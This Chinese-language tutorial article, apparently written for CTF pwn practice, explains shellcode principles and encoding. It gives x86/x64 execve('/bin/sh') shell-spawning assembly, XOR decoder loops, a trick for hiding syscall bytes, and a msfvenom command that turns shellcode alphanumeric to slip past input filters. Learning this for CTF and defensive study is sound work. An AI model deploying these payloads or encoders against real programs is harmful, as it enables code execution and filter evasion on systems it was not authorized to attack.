深度解析shellcode原理及编码技术

本文涉及的产品
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 深度解析shellcode原理及编码技术

shellcode原理

系统调用execve("/bin/sh", 0, 0)

具体可以参考系统调用表、64位linux中断向量表

64位

寄存器:

rax = 0x3b rdi = "/bin/sh" rsi = 0 rdx = 0

一段简单的 shellcode:

mov rax, 0x68732f6e69622f push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx push 0x3b pop rax syscall

32位

寄存器:

eax = 0xb ebx = "/bin/sh" ecx = 0 edx = 0

一段简单的 shellcode:

push 0x68732f push 0x6e69622f mov ebx, esp xor edx, edx xor eax, eax int 0x80

shellcode编码技术

限制字符集的shellcode:

一般的可以直接用工具生成。

限制严格的需要进行手写

手写shellcode

思路一:

根据限制的字符集列出对应的可以使用的指令

对上面的 shellcode 进行修改

再转为对应的机器码

思路二(ALPHA3就是这么实现的):

创建一个能够满足字符集的解码器

根据解码器将shellcode编码成能够满足字符集

这里参考Writing IA32 Restricted Instruction Set Shellcode Decoder Loops讲讲思路二。

首先,考虑为什么要解码:过滤输入的一个普遍问题是编码数据中每个字节可以具有的可能值少于 256 个。但是必须假设原始数据可以包含所有 256 个可能的字节。 这意味着必须使用两个或更多字节来编码一个字节。

编码后的 shellcode 要在程序中运行需要附带解码器先进行解码,大概是下面的结构:

[decoder][encoded shellcodes]

接下来是解码器实现的一些细节问题。

解码器

解码器循环:

.-> | 1. 读取编码数据 (input) | L | 2. 解码 | O | 3. 保存结果 (output) | O | 4. 移动到下一段数据 | P | 5. 检查是否到达数据 `--'| 6. 如果没到跳转至第1步 V (decoding finished)

重定位

解码器需要知道编码过的shellcode在内存中的位置才能进行解码。由于 shellcode 是被插入到程序中的,而且一些程序还开启了随机化保护,并不确定 shellcode 的实际位置,因此解码器中 shellcode 的位置操作数不能写死,而需要动态计算。这可以利用重定位技术实现。

其中一种重定位技术实现方法是:

利用特殊指令call、fnstenv等动态获取当前指令的运行时地址

计算该地址与当前指令相对shellcode的偏移的差值(被称为delta offset)

将该差值加到对应数据与该指令相对偏移上,得到的就是运行时数据的正确地址

Patch

对编码器种和补丁中不符合要求的指令可以再编码以使其符合要求。

syscall绕过

不允许出现syscall 字符时(\x0f\x05)

一般会利用一个0x9090 ^ 0x959f=0x0f05, 如下:

xor word ptr[rip], 0x959f nop nop ;0x909

使用0偏移

使用偏移为0的操作数,表示的意义相同,但生成的机器码不同:

00 00 add %al, (%eax) 00 40 00 add %al, 0(%eax)

FNSTENV XOR decoder

fnstenv指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中,保存的信息偏移12字节处就是最后执行的浮点指令的运行时地址。

global _start _start: fabs ; fabs指令 fnstenv [esp] ; 保存环境,该结构偏移12字节处就是最后执行的浮点指令的运行时地址 pop edx pop edx pop edx pop edx ;此处将fabs指令的运行时地址传给edx sub dl, -25 ; offset from fabs -> xor buffer edx = edx + 25,25的大小指的是从shllcode到fabs的偏移 begin: xor ecx,ecx ; 清零循环计数器ecx sub cx, -0x15F ; 设置cx为shellcode长度 decode: xor byte [ebx], 0x99 ; 异或key来解码 inc ebx ; 进入下一字节 loop decode ; 循环解码 shellcode: db ...........................

JMP/CALL decoder

global _start _start: jmp short getdata ; 跳转到getdata begin: pop ebx ; 弹出shellcode的地址 xor ecx,ecx ; 清零循环计数器ecx sub cx, -0x15F ; 设置cx为shellcode长度 decode: xor byte [ebx], 0x99 ; 异或key来解码 inc ebx ; 进入下一字节 loop decode ; 循环解码 jmp short shellcode ; 跳到解码完成的shellcode getdata: call begin ; 将下一条指令(shellcode)位置压栈,跳到begin shellcode: ; 异或加密后的shellcode db ..........................

shellcode工具

字符集

alphanumeric指令集

Alphanumeric shellcode:用的 AT&T 语法,%{16bit}表示16位寄存器,(%{64bit})表示64位寄存器指针,[byte]表示字节大小立即数。

X86 alphanumeric opcodes

X64 alphanumeric opcodes

ascii指令集

Ascii shellcode

编码工具

可以利用工具进行编码,但是现在的题目限制比较严格,一般都要手写:

pwntools encoders:这个用作者的话来说目前还是一团糟,没啥用

msfvenom:目前我用的这个,比较好安装,使用也没什么问题

ALPHA3:这个安装好像有点不便,兼容性也有些问题

AE64

PolyAsciiShellGen: Caezar ASCII Shellcode Generator

pwntools encoders

安装方法不介绍了。

使用方法看文档:https://docs.pwntools.com/en/latest/encoders.html

msfvenom

安装

msf的一个模块。Kali下自带,其他环境到官网装。

使用

先执行msfvenom -l encoders挑选一个编码器:

$ msfvenom -l encoders         Framework Encoders [--encoder ] ======================================    Name                          Rank       Description    ----                          ----       -----------    cmd/brace                     low        Bash Brace Expansion Command Encoder    cmd/echo                      good       Echo Command Encoder    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/service manual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder x86/xor_dynamic normal Dynamic key XOR Encoder

根据输入的 shellcode 编码为 linux 平台 x86 架构 BufferRegister=EAX 的纯字母shellcode:

$ echo "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

BufferRegister=EAX 用来告诉编码器 shellcode 的位置保存在哪个寄存器中,用于编码器在内存中找到 shellcode 的位置,对编码后的 shellcode 进行解码

具体可以参考Linux pwn入门教程(2)—shellcode的使用

数据库

可以直接查找现成的 shellcode

Exploit Database Shellcodes

Shellcodes database for study cases

参考

shellcode题目整理, https://tttang.com/archive/1447/

shellcode 开发, https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.9_shellcode

Linux pwn入门教程(2)—shellcode的使用, https://zhuanlan.zhihu.com/p/40006190

【安全健行】(4):揭开shellcode的神秘面纱, https://blog.51cto.com/windhawkfly/1652463

shellcode xor编码/解码[1], https://www.cnblogs.com/moonflow/archive/2012/05/23/2515389.html

Hacking/Shellcode/Restricted instruction set, https://web.archive.org/web/20111023111816/http://skypher.com/wiki/index.php/Hacking/Shellcode/Restricted_instruction_set

Writing IA32 Restricted Instruction Set Shellcode Decoder Loops, http://www.ouah.org/Decoder_%20Loops.html

相关文章
|
3天前
|
网络协议 网络安全 网络虚拟化
本文介绍了十个重要的网络技术术语,包括IP地址、子网掩码、域名系统(DNS)、防火墙、虚拟专用网络(VPN)、路由器、交换机、超文本传输协议(HTTP)、传输控制协议/网际协议(TCP/IP)和云计算
本文介绍了十个重要的网络技术术语,包括IP地址、子网掩码、域名系统(DNS)、防火墙、虚拟专用网络(VPN)、路由器、交换机、超文本传输协议(HTTP)、传输控制协议/网际协议(TCP/IP)和云计算。通过这些术语的详细解释,帮助读者更好地理解和应用网络技术,应对数字化时代的挑战和机遇。
24 3
|
3天前
|
存储 网络协议 安全
30 道初级网络工程师面试题,涵盖 OSI 模型、TCP/IP 协议栈、IP 地址、子网掩码、VLAN、STP、DHCP、DNS、防火墙、NAT、VPN 等基础知识和技术,帮助小白们充分准备面试,顺利踏入职场
本文精选了 30 道初级网络工程师面试题,涵盖 OSI 模型、TCP/IP 协议栈、IP 地址、子网掩码、VLAN、STP、DHCP、DNS、防火墙、NAT、VPN 等基础知识和技术,帮助小白们充分准备面试,顺利踏入职场。
13 2
|
6天前
|
监控 关系型数据库 MySQL
MySQL自增ID耗尽应对策略:技术解决方案全解析
在数据库管理中,MySQL的自增ID(AUTO_INCREMENT)属性为表中的每一行提供了一个唯一的标识符。然而,当自增ID达到其最大值时,如何处理这一情况成为了数据库管理员和开发者必须面对的问题。本文将探讨MySQL自增ID耗尽的原因、影响以及有效的应对策略。
21 3
|
13天前
|
机器学习/深度学习 人工智能 自然语言处理
思通数科AI平台在尽职调查中的技术解析与应用
思通数科AI多模态能力平台结合OCR、NLP和深度学习技术,为IPO尽职调查、融资等重要交易环节提供智能化解决方案。平台自动识别、提取并分类海量文档,实现高效数据核验与合规性检查,显著提升审查速度和精准度,同时保障敏感信息管理和数据安全。
62 11
|
8天前
|
Kubernetes Cloud Native 云计算
云原生技术深度解析:重塑企业IT架构的未来####
本文深入探讨了云原生技术的核心理念、关键技术组件及其对企业IT架构转型的深远影响。通过剖析Kubernetes、微服务、容器化等核心技术,本文揭示了云原生如何提升应用的灵活性、可扩展性和可维护性,助力企业在数字化转型中保持领先地位。 ####
|
9天前
|
自然语言处理 并行计算 数据可视化
免费开源法律文档比对工具:技术解析与应用
这款免费开源的法律文档比对工具,利用先进的文本分析和自然语言处理技术,实现高效、精准的文档比对。核心功能包括文本差异检测、多格式支持、语义分析、批量处理及用户友好的可视化界面,广泛适用于法律行业的各类场景。
|
13天前
|
机器学习/深度学习 人工智能 自然语言处理
医疗行业的语音识别技术解析:AI多模态能力平台的应用与架构
AI多模态能力平台通过语音识别技术,实现实时转录医患对话,自动生成结构化数据,提高医疗效率。平台具备强大的环境降噪、语音分离及自然语言处理能力,支持与医院系统无缝集成,广泛应用于门诊记录、多学科会诊和急诊场景,显著提升工作效率和数据准确性。
|
16天前
|
监控 Cloud Native 持续交付
云原生技术深度解析:重塑现代应用开发与部署范式####
本文深入探讨了云原生技术的核心概念、关键技术组件及其在现代软件开发中的重要性。通过剖析容器化、微服务架构、持续集成/持续部署(CI/CD)等关键技术,本文旨在揭示云原生技术如何促进应用的敏捷性、可扩展性和高可用性,进而推动企业数字化转型进程。不同于传统摘要仅概述内容要点,本部分将融入具体案例分析,直观展示云原生技术在实际应用中的显著成效与挑战应对策略,为读者提供更加丰富、立体的理解视角。 ####
|
16天前
|
算法 Java 数据库连接
Java连接池技术,从基础概念出发,解析了连接池的工作原理及其重要性
本文详细介绍了Java连接池技术,从基础概念出发,解析了连接池的工作原理及其重要性。连接池通过复用数据库连接,显著提升了应用的性能和稳定性。文章还展示了使用HikariCP连接池的示例代码,帮助读者更好地理解和应用这一技术。
31 1
|
17天前
|
安全 测试技术 数据安全/隐私保护
原生鸿蒙应用市场开发者服务的技术解析:从集成到应用发布的完整体验
原生鸿蒙应用市场开发者服务的技术解析:从集成到应用发布的完整体验

推荐镜像

更多